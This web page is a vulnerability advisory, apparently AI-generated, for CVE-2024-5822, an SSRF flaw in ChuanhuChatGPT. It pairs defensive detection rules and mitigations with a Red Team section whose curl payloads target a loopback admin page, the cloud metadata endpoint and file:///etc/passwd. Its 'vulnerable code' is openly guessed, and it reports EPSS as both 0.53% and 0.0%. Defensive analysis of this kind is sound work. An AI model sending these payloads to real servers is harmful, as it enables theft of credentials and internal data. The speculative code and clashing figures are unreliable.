☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-5822

CVE-2024-5822 Server-Side Request Forgery in Gaizhenbiao
📅 PUBLISHED: 2024-06-27 18:44 UTC 🔄 UPDATED: 2026-09-23 20:21 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.53%
👁️
0.53% probability
13.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5822 is a Server-Side Request Forgery (SSRF) vulnerability in the upload processing interface of gaizhenbiao/ChuanhuChatGPT, affecting versions up to and including the ChuanhuChatGPT-20240410-git.zip release. This flaw allows an unauthenticated attacker to craft malicious requests that are executed by the vulnerable server, enabling access to internal or external resources that would otherwise be protected. The vulnerability has a CVSS score of 7.3 (High) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the potential for data exfiltration and internal network reconnaissance.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a Python-based application (ChuanhuChatGPT) that is distributed via GitHub as a zip archive. There is no official package on PyPI or other package managers, but users may install dependencies via requirements.txt. The lack of a patch and the nature of SSRF make this a supply chain risk for any organization using this software, as attackers could leverage the vulnerability to pivot to internal services or cloud metadata endpoints.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.3 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action is required.
  • Scope: Unchanged (S:U) – The vulnerable component and the affected resource are in the same security authority.
  • Confidentiality Impact: High (C:H) – Successful exploitation can lead to disclosure of sensitive internal data.
  • Integrity Impact: None (I:N) – No data modification is possible.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The SSRF can be used to scan internal networks, access cloud metadata (e.g., AWS, GCP), and exfiltrate sensitive data. The lack of a patch increases the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability resides in the upload processing interface of ChuanhuChatGPT. The application likely accepts file uploads or URLs for processing, and the server-side code fetches the resource without proper validation of the target URL. An attacker can supply a URL pointing to internal IP addresses (e.g., http://169.254.169.254/ for cloud metadata) or other internal services, and the server will make the request on behalf of the attacker.

Root Cause: The application does not sanitize or restrict the URL scheme, host, or port in the upload/processing endpoint. This allows an attacker to specify arbitrary URLs, including those to internal networks (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or loopback addresses (127.0.0.1).

Attack Flow:

  1. Attacker identifies the vulnerable endpoint (e.g., /upload or /process).
  2. Attacker sends a POST request with a crafted JSON or form parameter containing a malicious URL (e.g., {"url": "http://169.254.169.254/latest/meta-data/"}).
  3. The server fetches the URL and returns the response to the attacker, or the attacker can observe side effects (e.g., timing, error messages).
  4. Attacker can then pivot to internal services, exfiltrate data, or perform reconnaissance.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely looks like this:

Vulnerable Code (Python/Flask example):

@app.route('/upload', methods=['POST'])
def upload():
    url = request.json.get('url')
    response = requests.get(url)  # No validation
    return response.text

Patched Code (Hypothetical):

import re
from urllib.parse import urlparse

ALLOWED_HOSTS = ['example.com', 'api.example.com']
BLOCKED_IPS = ['127.0.0.1', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16', '169.254.169.254']

def is_safe_url(url):
    parsed = urlparse(url)
    host = parsed.hostname
    if host in ALLOWED_HOSTS:
        return True
    # Check for IP ranges
    import ipaddress
    try:
        ip = ipaddress.ip_address(host)
        for blocked in BLOCKED_IPS:
            if ip in ipaddress.ip_network(blocked, strict=False):
                return False
    except ValueError:
        pass
    return False

@app.route('/upload', methods=['POST'])
def upload():
    url = request.json.get('url')
    if not is_safe_url(url):
        return "Forbidden", 403
    response = requests.get(url)
    return response.text

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable instance of ChuanhuChatGPT (version <= 20240410) in a Docker container.
  2. Set up a local listener (e.g., nc -lvnp 4444) to capture outbound requests.
  3. Use Burp Suite or curl to craft requests.

Exploitation Steps:

  1. Identify the upload endpoint (e.g., /upload or /process).
  2. Send a POST request with a malicious URL:
    curl -X POST http://target:5000/upload \
      -H "Content-Type: application/json" \
      -d '{"url": "http://127.0.0.1:8080/admin"}'
    
  3. To access cloud metadata:
    curl -X POST http://target:5000/upload \
      -H "Content-Type: application/json" \
      -d '{"url": "http://169.254.169.254/latest/meta-data/"}'
    
  4. Use the response to extract sensitive data (e.g., IAM credentials, internal service info).

Advanced Techniques:

  • Use DNS rebinding to bypass simple hostname checks.
  • Use file:// protocol if supported to read local files:
    curl -X POST http://target:5000/upload \
      -H "Content-Type: application/json" \
      -d '{"url": "file:///etc/passwd"}'
    

Blue Team (Defensive)

Detection:

  • Monitor outbound HTTP requests from the application server to unexpected IP ranges (e.g., private IPs, cloud metadata IPs).
  • Look for requests to 169.254.169.254 or 127.0.0.1 in server logs.
  • Use network segmentation to prevent the application from reaching internal resources.

Hunting:

  • Search for logs containing url parameters with private IP addresses.
  • Analyze application logs for unusual response sizes or error messages.

Mitigation:

  • Apply a Web Application Firewall (WAF) rule to block requests containing private IPs in URL parameters.
  • Implement a network proxy that restricts outbound traffic from the application server.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to 169.254.169.254 (cloud metadata)
    • Outbound HTTP requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
    • Requests to 127.0.0.1 or localhost from the application
  • File IOCs:
    • Unexpected files in /tmp/ or application directories (if file:// protocol is used)
  • Log IOCs:
    • Application logs showing url parameter with internal IPs
    • Error messages like "Connection refused" or "Timeout" for internal IPs

Detection Engineering

YARA Rule

rule CVE_2024_5822_SSRF_ChuanhuChatGPT {
    meta:
        description = "Detects SSRF attempts targeting CVE-2024-5822 in ChuanhuChatGPT"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5822"
    strings:
        $url_param = /"url"\s*:\s*"http:\/\/1(27|69|0|92)\..*/ nocase
        $private_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
        $metadata = "169.254.169.254"
    condition:
        any of ($url_param, $private_ip, $metadata)
}

Sigma Rule

title: SSRF Attempt Against ChuanhuChatGPT (CVE-2024-5822)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to private IPs or cloud metadata from ChuanhuChatGPT application
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - "169.254.169.254"
            - "127.0.0.1"
            - "10."
            - "172.16."
            - "172.17."
            - "172.18."
            - "172.19."
            - "172.20."
            - "172.21."
            - "172.22."
            - "172.23."
            - "172.24."
            - "172.25."
            - "172.26."
            - "172.27."
            - "172.28."
            - "172.29."
            - "172.30."
            - "172.31."
            - "192.168."
    condition: selection
falsepositives:
    - Legitimate internal monitoring tools
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5822 SSRF Attempt - ChuanhuChatGPT"; flow:to_server; content:"url"; http_client_body; pcre:"/(169\.254\.169\.254|127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint if not required, or restrict access via firewall rules.
  2. Implement network segmentation to prevent the application server from reaching internal resources.
  3. Apply a WAF rule to block requests containing private IPs in URL parameters.

Long-term Fix:

  • Since no official patch exists, consider forking the repository and implementing input validation as shown in the patched code example.
  • Use a URL allowlist or blocklist to restrict allowed targets.
  • Disable the file:// protocol if not needed.

Workarounds:

  • Use a reverse proxy (e.g., Nginx) to filter outbound requests from the application.
  • Monitor application logs for suspicious activity.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5822/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.